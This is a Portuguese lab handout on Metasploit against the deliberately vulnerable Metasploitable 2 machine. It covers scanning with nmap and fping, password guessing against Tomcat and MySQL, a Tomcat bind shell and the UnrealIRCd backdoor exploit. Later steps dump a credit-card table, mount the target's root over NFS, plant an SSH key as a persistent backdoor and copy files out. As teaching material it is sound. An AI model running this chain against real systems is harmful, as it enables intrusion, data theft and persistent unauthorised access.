Aula Metasploit - cavalcantetreinamentos.com.br · 2121/tcp open ccproxy-ftp 3306/tcp open mysql...

15
1 Aula Metasploit I. Escopo As estações responsáveis pelos ataques utilizam a distribuição GNU/Linux Backtrack 5 R3, uma dis- tribuição GNU/Linux baseada no Ubuntu 10.04 LTS. Esta versão foi lançada em 13/Ago/2012 1 , no momento a mais recente deste pacote de ferramentas. O sistema alvo utilizado neste exercício é o Metasploitable 2. Uma distribuição GNU/Linux desen- volvida especialmente para servir de alvo na execução de testes de segurança. Ela utiliza uma distribuição Ubuntu com diversas aplicações desatualizadas e mal configuradas. A versão utilizada foi lançada em 21/05/2012 2 . Virtual Box O host com a instalação do Backtrack será executado como uma máquina virtual utilizando o Virtu- albox. Abra a janela do Virtualbox, mas antes de executar o Backtrack clique com o botão direito sobre a máquina virtual e clique em Configurações: Na janela de Configurações, vá até a opção Rede e certifique-se de que o Adaptador 1 com a opção Conectado a: Placa em modo Bridge. Em avançado, clique algumas vezes no botão ao lado do campo Ende- reço MAC, garantindo dessa forma que todos possuam endereços MAC diferentes uns dos outros na mes- ma rede. Dica Sempre que aparecer x.x.x.x, substitua automaticamente pelo IP do host que será alvo do ataque. Quando x.x.x.y substitua pelo IP do host atacante (Backtrack). A representação do endereço x.x.x.0/24 identifica a utilização do IP da rede. 1 http://www.backtrack-linux.org/ 2 http://sourceforge.net/projects/metasploitable/

Transcript of Aula Metasploit - cavalcantetreinamentos.com.br · 2121/tcp open ccproxy-ftp 3306/tcp open mysql...

Page 1: Aula Metasploit - cavalcantetreinamentos.com.br · 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp

1

Aula Metasploit

I. Escopo

As estações responsáveis pelos ataques utilizam a distribuição GNU/Linux Backtrack 5 R3, uma dis-tribuição GNU/Linux baseada no Ubuntu 10.04 LTS. Esta versão foi lançada em 13/Ago/20121, no momento a mais recente deste pacote de ferramentas.

O sistema alvo utilizado neste exercício é o Metasploitable 2. Uma distribuição GNU/Linux desen-volvida especialmente para servir de alvo na execução de testes de segurança. Ela utiliza uma distribuição Ubuntu com diversas aplicações desatualizadas e mal configuradas. A versão utilizada foi lançada em 21/05/20122.

Virtual Box

O host com a instalação do Backtrack será executado como uma máquina virtual utilizando o Virtu-albox. Abra a janela do Virtualbox, mas antes de executar o Backtrack clique com o botão direito sobre a máquina virtual e clique em Configurações:

Na janela de Configurações, vá até a opção Rede e certifique-se de que o Adaptador 1 com a opção Conectado a: Placa em modo Bridge. Em avançado, clique algumas vezes no botão ao lado do campo Ende-reço MAC, garantindo dessa forma que todos possuam endereços MAC diferentes uns dos outros na mes-ma rede.

Dica

Sempre que aparecer x.x.x.x, substitua automaticamente pelo IP do host que será alvo do ataque. Quando x.x.x.y substitua pelo IP do host atacante (Backtrack). A representação do endereço x.x.x.0/24 identifica a utilização do IP da rede.

1http://www.backtrack-linux.org/

2http://sourceforge.net/projects/metasploitable/

Page 2: Aula Metasploit - cavalcantetreinamentos.com.br · 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp

2

No momento de executar algum comando, verifique se está no local correto. Quando o comando indicar o símbolo #, significa que você deve estar na linha de comando do Linux. Caso o comando indique outro prefixo, como por exemplo, ‘mysql >’ ou ‘msf >’, você deve estar na linha de comando desse aplicati-vo.

Comandos Básicos do Linux

cat [arquivo] : lista o conteúdo do arquivo.

cat /etc/issue : mostra detalhes sobre a distri-buição utilizada.

cd [pasta] : entra na pasta especificada.

cp [origem] [destino] : copia um arquivo.

cp -R [pasta_origem] [destino] : copia uma pas-ta e todo seu conteúdo.

ls : listas arquivos e pastas em um diretório.

ls -l : listar arquivos e pastas exibindo os deta-lhes.

ls -la : listar arquivos e pastas incluindo ocultos.

mkdir [pasta] : cria uma pasta com o nome indicado

mv [origem] [destino] : move/renomeia arqui-vo ou pasta.

passwd : altera a senha do usuário atual.

passwd [login] : altera a senha de outro usuá-rio.

pwd : mostra o caminho da pasta atual.

uname -a : mostra informações sobre o siste-ma.

II. Mapeamento dos alvos

Identificação de hosts

ping

Conforme ALI (2011), o ping é a ferramenta mais famosa para verificar a disponibilidade de um host. Seu funcionamento se dá pelo envio de pacotes ECHO REQUEST ao host de destino, caso o host em questão esteja disponível ele retornará um pacote ECHO REPLY, o protocolo utilizado é o ICMP (Internet Control Message Protocol).

Em uma execução bem sucedida é possível verificar se um host conhecido está disponível. No exemplo abaixo foram enviados três pacotes ICMP ECHO REQUEST e todos os três foram respondidos (ICMP ECHO REPLY). A quantidade de pacotes é definida pelo parâmetro '-c'.

# ping -c 3 x.x.x.x (IP do host alvo)

PING x.x.x.x (x.x.x.x) 56(84) bytes of data.

64 bytes from x.x.x.x: icmp_seq=1 ttl=64 time=69.9 ms

Page 3: Aula Metasploit - cavalcantetreinamentos.com.br · 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp

3

64 bytes from x.x.x.x: icmp_seq=2 ttl=64 time=1.38 ms

64 bytes from x.x.x.x: icmp_seq=3 ttl=64 time=1.18 ms

--- x.x.x.x ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2004ms

rtt min/avg/max/mdev = 1.183/24.165/69.929/32.360 ms

fping

Quando não se conhece o endereço IP do alvo cuja disponibilidade deve ser testada, é preciso utili-zar ferramentas capazes de gerar uma lista de endereços para o envio do ICMP ECHO REQUEST. O fping faz isso através do parâmetro '-g', no exemplo abaixo será utilizado também o parâmetro '-c 1' para enviar uma única solicitação para cada host da lista.

Os comandos abaixo geram exatamente a mesma lista, o primeiro utiliza o endereço de sub-rede e o segundo utiliza um endereço inicial e final para a geração da lista. Escolha um e execute:

# fping -c 1 -g x.x.x.0/24 (IP da rede alvo)

# fping -c 1 -g x.x.x.1 x.x.x.254 (IP inicial e final da rede)

Para cada host cuja resposta não for obtida é apresentada cada uma das linhas, conforme segue:

ICMP Host Unreachable from x.x.x.x for ICMP Echo sent to x.x.x.y

-------------------------------------

x.x.x.y : xmt/rcv/%loss = 1/0/100%

Para cada host ativo, e respondendo a requisições, são geradas linhas como as que seguem:

x.x.x.x : [0], 84 bytes, 5.80 ms (5.80 avg, 0% loss)

-------------------------------------------------------

x.x.x.x : xmt/rcv/%loss = 1/1/0%, min/avg/max = 5.80/5.80/5.80

Analisando as linhas acima seria possível afirmar que o host x.x.x.y não está ativo e o host x.x.x.x es-tá.

Identificação dos Serviços

nmap

Para que o nmap identifique com mais precisão as informações do sistema alvo, é importante exe-cutar a atualização de sua base de dados com o comando abaixo:

# nmap --script-updatedb

O nmap também possibilita identificar os hosts disponíveis em uma rede utilize o comando abaixo:

# nmap -sP x.x.x.0/24

A resposta do comando será algo como:

Nmap scan report for x.x.x.x

Host is up (0.00070s latency).

MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems)

Nmap scan report for x.x.x.y

Host is up.

Nmap done: 256 IP addresses (2 hosts up) scanned in 33.95 seconds

O parâmetro '-sP' solicita um Ping Scan, e retorna a lista de hosts ativos na rede especificada e ain-da identifica o endereço físico da placa de rede (MAC Address). Compare a quantidade de hosts retornados

Page 4: Aula Metasploit - cavalcantetreinamentos.com.br · 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp

4

pelo comando fping e pelo nmap. O nmap localizou mais por utilizar o protocolo TCP, enquanto o fping utiliza o ICMP, protocolo bloqueado em diversos host para evitar ataques como o ping da morte.

A forma mais simples de execução da ferramenta nmap para mapear os serviços em execução em um host é:

# nmap x.x.x.x (IP do host alvo)

A saída do comando será algo parecido com:

Nmap scan report for x.x.x.x

Host is up (0.0051s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysql

5432/tcp open postgresql

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

8009/tcp open ajp13

8180/tcp open unknown

MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems)

Nmap done: 1 IP address (1 host up) scanned in 13.54 seconds

Pela utilização padrão do nmap, a ferramenta testa cada porta apenas para verificar os serviços que estão em execução e monitorando cada uma das portas, porém sem completar a conexão. É como telefo-nar, esperar que atendam e desligar sem saber se quem atendeu foi uma pessoa ou uma secretária eletrô-nica. Portanto, o nome dos serviços sugeridos por ele são apenas suposições de acordo com o número da porta.

Com o parâmetro abaixo, o nmap tenta capturar o nome do serviço que realmente está em execu-ção nas portas do host alvo e suas respectivas versões:

# nmap -sV x.x.x.x (IP do host alvo)

A saída do comando será:

Nmap scan report for x.x.x.x

Page 5: Aula Metasploit - cavalcantetreinamentos.com.br · 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp

5

Host is up (0.0059s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

512/tcp open exec netkit-rsh rexecd

513/tcp open login

514/tcp open shell?

1099/tcp open rmiregistry GNU Classpath grmiregistry

1524/tcp open ingreslock?

2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open vnc VNC (protocol 3.3)

6000/tcp open X11 (access denied)

6667/tcp open irc Unreal ircd

8009/tcp open ajp13?

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

O resultado deste comando é mais demorado pelo fato do nmap realizar uma conexão em cada uma das portas. Agora, com os nomes dos softwares em execução e suas respectivas versões, o conheci-mento sobre o alvo aumenta.

O nmap também pode tentar detectar o sistema operacional em execução no host alvo. Execute o comando abaixo e analise o resultado:

# nmap -O x.x.x.x (IP do host alvo)

Na saída desse comando, os serviços em execução são repetidos e ao final é apresentado o resulta-do do provável sistema operacional do alvo:

Nmap scan report for x.x.x.x

Host is up (0.0013s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

...

6667/tcp open irc

Page 6: Aula Metasploit - cavalcantetreinamentos.com.br · 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp

6

8009/tcp open ajp13

8180/tcp open unknown

MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:kernel:2.6

OS details: Linux 2.6.9 - 2.6.31

Network Distance: 1 hop

O comando acima retorna que o sistema utilizado é um Linux com kernel entre as versões 2.6.13 e 2.6.31. O Metasploitable 2 utiliza, mais precisamente, a versão 2.6.24 do kernel Linux, portanto o resultado está dentro da expectativa.

Para um resultado ainda mais completo, teste o comando:

# nmap -v -A x.x.x.x (IP do host alvo)

Sua saída é a seguinte:

...

Nmap scan report for x.x.x.x

Host is up (0.0044s latency).

Not shown: 977 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.3.4

|_ftp-anon: Anonymous FTP login allowed (FTP code 230)

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

| ssh-hostkey: 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)

|_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd

|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,

| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX

| Issuer: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX

| Public Key type: rsa

| Public Key bits: 1024

| Not valid before: 2010-03-17 14:07:45

| Not valid after: 2010-04-16 14:07:45

| MD5: dcd9 ad90 6c8f 2f73 74af 383b 2540 8828

|_SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6

53/tcp open domain ISC BIND 9.4.2

| dns-nsid:

|_ bind.version: 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

Page 7: Aula Metasploit - cavalcantetreinamentos.com.br · 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp

7

|_http-methods: No Allow or Public header in OPTIONS response (sta-tus code 200)

|_http-title: Metasploitable2 - Linux

111/tcp open rpcbind (rpcbind V2) 2 (rpc #100000)

| rpcinfo:

| program version port/proto service

| 100000 2 111/tcp rpcbind

| 100000 2 111/udp rpcbind

| 100003 2,3,4 2049/tcp nfs

| 100003 2,3,4 2049/udp nfs

| 100005 1,2,3 39334/udp mountd

| 100005 1,2,3 55482/tcp mountd

| 100021 1,3,4 39102/udp nlockmgr

| 100021 1,3,4 59488/tcp nlockmgr

| 100024 1 37315/udp status

|_ 100024 1 44437/tcp status

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

512/tcp open exec netkit-rsh rexecd

513/tcp open login?

514/tcp open shell?

1099/tcp open rmiregistry GNU Classpath grmiregistry

1524/tcp open ingreslock?

2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003)

2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

| mysql-info: Protocol: 10

| Version: 5.0.51a-3ubuntu5

| Thread ID: 10

| Some Capabilities: Connect with DB, Compress, SSL, Transactions, Secure Connection

| Status: Autocommit

|_Salt: ABf[xg{Tsd|bWmA86GCX

5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open vnc VNC (protocol 3.3)

| vnc-info:

| Protocol version: 3.3

| Security types:

|_ Unknown security type (33554432)

6000/tcp open X11 (access denied)

6667/tcp open irc Unreal ircd

| irc-info: Server: irc.Metasploitable.LAN

| Version: Unreal3.2.8.1. irc.Metasploitable.LAN

| Lservers/Lusers: 0/1

| Uptime: 0 days, 1:50:36

| Source host: 80911CEB.D3975B40.7B559A54.IP

|_Source ident: OK nmap

Page 8: Aula Metasploit - cavalcantetreinamentos.com.br · 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp

8

8009/tcp open ajp13?

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

...

MAC Address: 08:00:27:18:E5:1E (Cadmus Computer Systems)

Device type: general purpose

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:kernel:2.6

OS details: Linux 2.6.9 - 2.6.31

Uptime guess: 0.076 days (since Sun Oct 21 17:00:22 2012)

Network Distance: 1 hop

...

Host script results:

| nbstat:

| NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>

| Names

| METASPLOITABLE<00> Flags: <unique><active>

| METASPLOITABLE<03> Flags: <unique><active>

| METASPLOITABLE<20> Flags: <unique><active>

| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>

| WORKGROUP<00> Flags: <group><active>

| WORKGROUP<1d> Flags: <unique><active>

|_ WORKGROUP<1e> Flags: <group><active>

| smb-os-discovery:

| OS: Unix (Samba 3.0.20-Debian)

| NetBIOS computer name:

| Workgroup: WORKGROUP

|_ System time: 2012-10-21 18:46:51 UTC-4

TRACEROUTE

HOP RTT ADDRESS

1 4.44 ms 10.0.0.10

...

Este resultado é ainda mais demorado, porém com ele foi possível obter informações sobre versões de softwares não identificados anteriormente e detalhes sobre serviços específicos, como FTP, SMB entre outros. Com isso torna-se viável a exploração de falhas específicas das versões instaladas.

Com este último comando foi possível identificar que o FTP aceita conexões anônimas, que a ver-são do Unreal ircd é a 3.2.8.1. Incluindo a identificação do sistema operacional e a possível versão do Kernel Linux.

III. Identificação de vulnerabilidades

Unreal IRC

Com as informações obtidas no tópico anterior, agora é possível pesquisar quais softwares do host alvo possuem vulnerabilidades conhecidas.

Como forma de exemplo, em uma rápida pesquisa no Google pelo termo ‘Unreal3.2.8.1 exploit’, obtêm-se como primeiro resultado a página do Metasploit, conforme tela abaixo:

Page 9: Aula Metasploit - cavalcantetreinamentos.com.br · 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp

9

Com este resultado é possível descobrir que esta versão do Unreal IRC possui uma Backdoor, e seu nível de exploração é categorizado como 'Excelente'.

IV. Exploração

Metasploit

Metasploit é uma plataforma que fornece a infraestrutura para automatizar tarefas. Possui diversos módulos complementares e pode ser utilizado de diversas formas para auxiliar em um teste de invasão. (Kennedy et al. 2011)

O Metasploit possui mais de uma opção de interface, utilizaremos o MSFConsole por ser o mais simples e versátil do framework (Kennedy et al. 2011), oferecendo diversos recursos e ferramentas. Com ela é possível executar exploits, carregar módulos auxiliares, efetuar varredura, enumeração e rodar explo-its em massa contra alvos específicos ou redes inteiras.

Primeiro acesso

Antes de utilizar o metasploit é recomendado atualizar seu banco de dados com o comando abaixo:

# msfupdate

O comando abaixo entra na interface de console do Metasploit:

# msfconsole

Password guessing

Tomcat

O servidor Apache Tomcat é um servidor web Java. Sua execução foi identificada pela linha abaixo, gerada pelo nmap:

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

Dentro do console do metasploit é possível utilizar o comando search para identificar os módulos disponíveis:

msf > search tomcat

Dentre vários resultados um deles será:

Figura 1: Seção de exploits do site Metasploit

Page 10: Aula Metasploit - cavalcantetreinamentos.com.br · 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp

10

Name ... Description

auxiliary/scanner/http/tomcat_mgr_login ... Tomcat Application Ma-nager Login Utility

Para fazer uso deste módulo utiliza-se o comando:

msf > use auxiliary/scanner/http/tomcat_mgr_login

Cada módulo possui parâmetros necessários à sua execução, com o comando abaixo é possível ob-ter uma lista deles:

msf auxiliary(tomcat_mgr_login) > show options

Perceba que os parâmetros abaixo já estão preenchidos:

PASS_FILE

USERPASS_FILE

USER_FILE

Pode deixá-los como estão, no momento serão configurados apenas os parâmetros abaixo. Para cada parâmetro que deve ser configurado deverá ser utilizado o comando set:

msf auxiliary(tomcat_mgr_login) > set RHOSTS x.x.x.x (IP alvo)

msf auxiliary(tomcat_mgr_login) > set RPORT 8180 (Porta do Tomcat)

Execute novamente o comando show options e verifique se os parâmetros foram corretamente preenchidos. Por fim é utilizado o comando exploit que executa o módulo contra o alvo especificado acima:

msf auxiliary(tomcat_mgr_login) > exploit

Este módulo executa um ataque por palavras de dicionário, utilizando os arquivos indicados nas va-riáveis indicadas acima. Neste ataque uma das combinações utilizadas poderá ser aceita pelo servidor:

...

[*] 192.168.1.100:8180 TOMCAT_MGR - [15/56] - Trying username:'root' with password:'root'

[-] 192.168.1.100:8180 TOMCAT_MGR - [15/56] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'root'

[*] 192.168.1.100:8180 TOMCAT_MGR - [16/56] - Trying username:'tomcat' with password:'tomcat'

[+] http://192.168.1.100:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat'

[*] 192.168.1.100:8180 TOMCAT_MGR - [17/56] - Trying username:'both' with password:'both'

[-] 192.168.1.100:8180 TOMCAT_MGR - [17/56] - /manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'both'

...

A linha em destaque informa um login e senha aceitos, dessa forma outros ataques podem ser per-petrados:

msf > use exploit/multi/http/tomcat_mgr_deploy

msf exploit(tomcat_mgr_deploy) > set RHOST x.x.x.x

msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat

msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat

msf exploit(tomcat_mgr_deploy) > set RPORT 8180

Neste módulo é preciso utilizar o parâmetro PAYLOAD, para obter uma lista de payloads compatí-veis com o módulo em questão utiliza-se o comando

Page 11: Aula Metasploit - cavalcantetreinamentos.com.br · 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp

11

msf exploit(tomcat_mgr_deploy) > show payloads

Conforme Kennedy e outros (2011), payload identifica o código que o módulo deve executar e que deve ser entregue ao alvo. No caso será utilizado um prompt de comando feito em java e como o Tomcat é um servidor Java, o prompt será executado:

msf exploit(tomcat_mgr_deploy) > set PAYLOAD java/shell/bind_tcp

msf exploit(tomcat_mgr_deploy) > exploit

O comando acima fornecerá um prompt de comando para o usuário tomcat que poderá executar programas e abrir arquivos aos quais ele possua acesso.

MySQL

É um dos Sistemas Gerenciadores de Banco de Dados (SGBD) mais populares do mundo. Possui uma versão distribuída como Software Livre e uma versão comercial. O atual responsável pelo seu desen-volvimento é a Oracle.

Acesse o msfconsole e digite o comando abaixo:

msf > search mysql

São mostrados todos os módulos com a palavra mysql em seu nome, ou seja, os módulos que tra-balham com esse banco de dados.

Neste momento o módulo utilizado será o seguinte:

msf > use auxiliary/scanner/mysql/mysql_login

Liste os parâmetros necessários para executar este módulo:

msf auxiliary(mysql_login) > show options

Verifique os parâmetros disponíveis, preencha com as opções abaixo:

msf > set RHOSTS x.x.x.x (IP destino)

msf > set USERNAME root

msf > set PASS_FILE /opt/metasploit/msf3/data/wordlists/unix_passwords.txt

É possível listar os parâmetros novamente para verificar se estão preenchidos (show options). E en-tão, execute o módulo:

msf > exploit

O módulo tentará se conectar ao banco de dados MySQL do host x.x.x.x utilizando o usuário root, primeiro com a senha em branco, em seguida com cada uma das palavras do arquivo unix_passwords.txt como senha. É possível ainda configurar o parâmetro USER_FILE com o arquivo abaixo, com isso todas as linhas do arquivo serão testadas como login. É um teste demorado, porém pode ser a melhor maneira de descobrir um login e senha válidos: /opt/metasploit/msf3/data/wordlists/unix_users.txt

Agora abra outra janela de terminal e tente se conectar ao banco de dados utilizando o usuário ro-ot e a senha descoberta:

(IP alvo)

# mysql -h x.x.x.x -u root -psenha

Alguns comandos úteis para obter informações de um banco MySQL Server. Liste os databases exis-tentes:

mysql> show databases;

Escolha um database, por exemplo:

Page 12: Aula Metasploit - cavalcantetreinamentos.com.br · 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp

12

mysql> use owasp10;

Liste todas as tabelas do database escolhido:

mysql> show tables;

A título de exemplo, liste os registros de uma das tabelas:

mysql> select * from credit_cards;

Agora liste os registros de uma das tabelas salvando o resultado no arquivo indicado:

mysql> select * from credit_cards

-> into outfile '/tmp/arquivo_[seunome].txt';

Um arquivo é gerado com o conteúdo da tabela, porém este arquivo está no host alvo. Ainda preci-saremos copiá-lo para o computador local.

Acesso ao prompt

Unreal IRC

Com o comando a seguir, é possível buscar os módulos com os exploits do Unreal IRC:

msf > search unreal irc

O módulo encontrado é:

exploit/unix/irc/unreal_ircd_3281_backdoor

Utilize o módulo:

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor

Mostrar os parâmetros para sua utilização

msf exploit(unreal_ircd_3281_backdoor) > show options

Abaixo os parâmetros com a indicação de que são obrigatórios:

Name Current Setting Required Description

---- --------------- -------- -----------

RHOST yes The target address

RPORT 6667 yes The target port

Defina o host alvo com o comando:

msf exploit(unreal_ircd_3281_backdoor) > set RHOST x.x.x.x

Explorar:

msf exploit(unreal_ircd_3281_backdoor) > exploit

Resultado:

[*] Started reverse double handler

[*] Connected to x.x.x.x:6667...

:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your host-name...

:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead

[*] Sending backdoor command...

[*] Accepted the first client connection...

[*] Accepted the second client connection...

Page 13: Aula Metasploit - cavalcantetreinamentos.com.br · 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp

13

[*] Command: echo arEDLp8ML4sCA5T6;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket B

[*] B: "arEDLp8ML4sCA5T6\r\n"

[*] Matching...

[*] A is input...

[*] Command shell session 1 opened (x.x.x.x:4444 -> x.x.x.y:57897) at 2012-10-21 20:23:27

Acesso ao prompt de comando com permissões de administrador (no Linux, usuário root).

Pastas compartilhadas

NFS

Uma das linhas do resultado do nmap indica que a porta 2049 está sendo utilizada.

2049/tcp open nfs (nfs V2-4) 2-4 (rpc #100003)

Esta porta se trata do serviço de compartilhamento de arquivo NFS. Com o comando abaixo é pos-sível verificar quais pastas estão sendo compartilhadas pelo protocolo:

# showmount -e x.x.x.x (IP do host alvo)

Export list for x.x.x.x:

/ *

Com essa informação em mãos, é possível montar a pasta raiz do servidor em um ponto da máqui-na local:

# mkdir /tmp/mnt

# mount -t nfs x.x.x.x:/ /tmp/mnt -o nolock

Com esta pasta compartilhada é possível copiar arquivos entre o computador invasor e o computa-dor da vítima.

Acesse a pasta tmp do host alvo:

# cd /tmp/mnt/tmp

Copie o arquivo gerado pelo comando SQL:

# cp arquivo_[seunome].txt /root

Manutenção do acesso

SSH

Primeiramente, tente conectar-se ao servidor da vítima por SSH:

# ssh [email protected]

O servidor pedirá a senha do usuário root, como não temos, não conseguiremos logar na máquina remota. Para que o login SSH funcione, gere uma chave SSH:

# ssh-keygen

Esta chave identifica o computador que você está utilizando. Adicione essa chave gerada como uma chave de confiança no servidor remoto, utilizando a pasta compartilhada que foi montada anteriormente:

# cat /root/.ssh/id_rsa.pub >> /tmp/mnt/root/.ssh/authorized_keys

Page 14: Aula Metasploit - cavalcantetreinamentos.com.br · 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp

14

Agora tente logar novamente utilizando SSH:

# ssh [email protected]

Dessa vez a conexão torna-se possível devido à relação de confiança criada ao copiar a chave do host invasor para o host alvo. Com isso já temos uma backdoor sempre que precisar entrar no servidor remoto.

Copiando arquivos

De dentro do host invasor

Copie um arquivo do host alvo para o host invasor utilizando a pasta compartilhada montada (/tmp/mnt):

cp [origem] [destino]

# cp /tmp/mnt/tmp/arquivo.txt /root

É possível ainda copiar um arquivo utilizando o SSH:

scp [origem] [destino]

scp login@ip_alvo:/pasta/arquivo /pasta_local

# scp [email protected]:/tmp/arquivo.txt /root

De dentro do host alvo

Agora vamos copiar um arquivo para o host invasor, estando dentro do host alvo. Para acessar o host Backtrack via SSH pela primeira vez, execute no Backtrack o comando:

# sshd-generate

# restart ssh

Caso apresente erro no segundo comando, execute:

# /etc/init.d/ssh restart

A partir de agora o servidor SSH está habilitado no Bracktrack, podendo ser acessado para copiar arquivos com o comando abaixo:

scp /pasta/arquivo [email protected]:/pasta

# scp /home/user/[arquivo] [email protected]:/root

Para desmontar a pasta compartilhada do servidor alvo, utilize:

# umount /tmp/mnt

Treino

Acesse a pasta /home/user do host alvo e copie o arquivo .pdf e .txt para /root do Backtrack.

Referências

WILHELM, Thomas. Professional Penetration Testing: creating and operating a formal hacking lab. Burling-ton, Massachusetts: Syngress. 2010.

Wiki Backtrack Linux. Getting started with OpenVas. 1 June 2011, at 23:25. <Acesso em: 09/03/2012>. Dis-ponível em: http://www.backtrack-linux.org/wiki/index.php/OpenVas

ALI, Shakeel & HERIYANTO, Tedi. BackTrack 4: Assuring Security by Penetration Testing. Packt Publishing. Packt Publishing: Birmingham, UK. 2011.

Page 15: Aula Metasploit - cavalcantetreinamentos.com.br · 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp

15

KENNEDY, David; O’GORMAN, Jim; KEARNS, Devon; e AHARONI, Mati. Metasploit: The Penetration Tester’s Guide. No Starch Press. San Francisco, CA. 2011.